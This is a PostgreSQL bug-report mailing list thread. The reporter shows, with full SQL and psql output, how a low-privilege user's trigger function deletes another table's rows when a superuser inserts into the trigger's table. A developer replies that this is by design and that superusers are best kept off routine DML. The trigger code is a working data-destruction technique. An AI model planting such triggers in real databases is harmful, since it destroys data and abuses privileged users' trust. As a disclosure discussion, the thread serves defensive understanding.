pg.ddx.io pgsql-bugs@postgresql.org mailing list archive
help / color / mirror / Atom feedBUG #18936: Trigger enable users to modify the tables which he doesn't have privilege
4+ messages / 3 participants
[nested] [flat]
* BUG #18936: Trigger enable users to modify the tables which he doesn't have privilege
@ 2025-05-20 13:07 PG Bug reporting form <noreply@postgresql.org>
0 siblings, 1 reply; 4+ messages in thread
From: PG Bug reporting form @ 2025-05-20 13:07 UTC (permalink / raw)
To: pgsql-bugs@lists.postgresql.org; +Cc: 798604270@qq.com
The following bug has been logged on the website:
Bug reference: 18936
Logged by: Chi Zhang
Email address: 798604270@qq.com
PostgreSQL version: 17.5
Operating system: Ubuntu 24.04 and docker
Description:
I found that the trigger enables a user to modify the tables which he
doesn't have privilege.
For example, I use the superuser account to create a database `test` and
create a TABLE `t1(c0 int)`, and I also create a user `test` with only
CREATE privilege.
```
zc@DESKTOP-AA5PU2J:~/UDFTest/target$ docker exec -it some-postgres psql -U
postgres
psql (17.5 (Debian 17.5-1.pgdg120+1))
Type "help" for help.
postgres=# \c test
You are now connected to database "test" as user "postgres".
test=# create table t1(c0 int);
CREATE TABLE
test=# insert into t1(c0) values (2);
INSERT 0 1
test=# select * from t1;
c0
----
2
(1 row)
test=# GRANT CREATE ON SCHEMA public TO test;
GRANT
```
Then I create a TABLE t0(c0) with user `test` and also create a trigger.
```
zc@DESKTOP-AA5PU2J:~/UDFTest/target$ docker exec -it some-postgres psql -U
test
psql (17.5 (Debian 17.5-1.pgdg120+1))
Type "help" for help.
test=> create table t0(c0 int);
CREATE TABLE
test=> insert into t0(c0) values (1);
INSERT 0 1
test=> select * from t1;
ERROR: permission denied for table t1
test=> CREATE OR REPLACE FUNCTION delete_func()
RETURNS trigger AS $$
BEGIN
DELETE FROM t1;
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE FUNCTION
test=> CREATE TRIGGER tr2
AFTER INSERT ON t0
FOR EACH ROW
EXECUTE FUNCTION delete_func();
CREATE TRIGGER
test=> INSERT INTO t0(c0) VALUES (1);
ERROR: permission denied for table t1
CONTEXT: SQL statement "DELETE FROM t1"
PL/pgSQL function delete_func() line 3 at SQL statement
```
With user `test`, I can not select from t1 as he doesn't have privilege on
t1. in the trigger tr2, on each INSERT on t0, the data in t1 will be
deleted. `test` can not fire this trigger as he doesn't have the prigilege
on t1.
However, this trigger will be automatically executed when the superuser
insert into t0.
```
zc@DESKTOP-AA5PU2J:~/UDFTest/target$ docker exec -it some-postgres psql -U
postgres
psql (17.5 (Debian 17.5-1.pgdg120+1))
Type "help" for help.
postgres=# \c test
You are now connected to database "test" as user "postgres".
test=# select * from t1;
c0
----
2
(1 row)
test=# INSERT INTO t0(c0) VALUES (1);
INSERT 0 1
test=# select * from t1;
c0
----
(0 rows)
```
If an attacker gains privileges on a table, they can exploit triggers to
modify or exfiltrate data from other tables, provided the trigger can be
activated by either a superuser or a user with privileges on the target
tables.
^ permalink raw reply [nested|flat] 4+ messages in thread
* Re: BUG #18936: Trigger enable users to modify the tables which he doesn't have privilege
@ 2025-05-21 06:17 Laurenz Albe <laurenz.albe@cybertec.at>
parent: PG Bug reporting form <noreply@postgresql.org>
0 siblings, 1 reply; 4+ messages in thread
From: Laurenz Albe @ 2025-05-21 06:17 UTC (permalink / raw)
To: 798604270@qq.com; pgsql-bugs@lists.postgresql.org
On Tue, 2025-05-20 at 13:07 +0000, PG Bug reporting form wrote:
> If an attacker gains privileges on a table, they can exploit triggers to
> modify or exfiltrate data from other tables, provided the trigger can be
> activated by either a superuser or a user with privileges on the target
> tables.
That's working as designed.
If a superuser performs a data modification on a table owned by an
untrustworthy user, it is "game over".
That is one of the reasons why you should use a superuser only for tasks
that require superuser privileges.
Yours,
Laurenz Albe
^ permalink raw reply [nested|flat] 4+ messages in thread
* Re: BUG #18936: Trigger enable users to modify the tables which hedoesn't have privilege
@ 2025-05-24 03:06 =?utf-8?B?WmhhbmdDaGk=?= <798604270@qq.com>
parent: Laurenz Albe <laurenz.albe@cybertec.at>
0 siblings, 1 reply; 4+ messages in thread
From: ZhangChi @ 2025-05-24 03:06 UTC (permalink / raw)
To: Laurenz Albe <laurenz.albe@cybertec.at>; pgsql-bugs <pgsql-bugs@lists.postgresql.org>
Thanks for your reply!
However, it is common in some database servers for an attacker to gain minimal privileges on a single table within a target database. For instance, when registering an account on a service, the system might grant the user access to a dedicated table. Using the TRIGGER mechanism as I showed, such an attacker could then delete or exfiltrate data from other tables beyond their authorized access. Notably, this attack doesn't require superuser privileges - only access to the two relevant tables.
Permitting users to create triggers that can affect tables beyond their privilege scope appears to be a problematic design choice. Such triggers may be inadvertently executed by privileged users without their knowledge, creating potential security vulnerabilities.
^ permalink raw reply [nested|flat] 4+ messages in thread
* Re: BUG #18936: Trigger enable users to modify the tables which hedoesn't have privilege
@ 2025-05-24 05:09 Laurenz Albe <laurenz.albe@cybertec.at>
parent: =?utf-8?B?WmhhbmdDaGk=?= <798604270@qq.com>
0 siblings, 0 replies; 4+ messages in thread
From: Laurenz Albe @ 2025-05-24 05:09 UTC (permalink / raw)
To: ZhangChi <798604270@qq.com>; pgsql-bugs <pgsql-bugs@lists.postgresql.org>
On Sat, 2025-05-24 at 11:06 +0800, ZhangChi wrote:
> However, it is common in some database servers for an attacker to gain minimal privileges
> on a single table within a target database. For instance, when registering an account on a
> service, the system might grant the user access to a dedicated table. Using the TRIGGER
> mechanism as I showed, such an attacker could then delete or exfiltrate data from other
> tables beyond their authorized access. Notably, this attack doesn't require superuser
> privileges - only access to the two relevant tables.
>
> Permitting users to create triggers that can affect tables beyond their privilege scope
> appears to be a problematic design choice. Such triggers may be inadvertently executed
> by privileged users without their knowledge, creating potential security vulnerabilities.
The effects of a trigger are limited by the permissions of the executing user or
(in the case of SECURITY DEFINER) the owner of the trigger function.
Therefore, as I said, it is commendable never to do DML as a superuser.
There are cases where superusers perform DML, like restoring a pg_dump.
PostgreSQL takes great care that nothing can go wrong in these cases.
Yours,
Laurenz Albe
^ permalink raw reply [nested|flat] 4+ messages in thread
end of thread, other threads:[~2025-05-24 05:09 UTC | newest]
Thread overview: 4+ messages (download: mbox mbox.gz follow: Atom feed)
-- links below jump to the message on this page --
2025-05-20 13:07 BUG #18936: Trigger enable users to modify the tables which he doesn't have privilege PG Bug reporting form <noreply@postgresql.org>
2025-05-21 06:17 ` Laurenz Albe <laurenz.albe@cybertec.at>
2025-05-24 03:06 ` Re: BUG #18936: Trigger enable users to modify the tables which hedoesn't have privilege =?utf-8?B?WmhhbmdDaGk=?= <798604270@qq.com>
2025-05-24 05:09 ` Re: BUG #18936: Trigger enable users to modify the tables which hedoesn't have privilege Laurenz Albe <laurenz.albe@cybertec.at>
This inbox is served by DDX for PostgreSQL; see mirroring instructions
for how to clone and mirror all data and code used for this inbox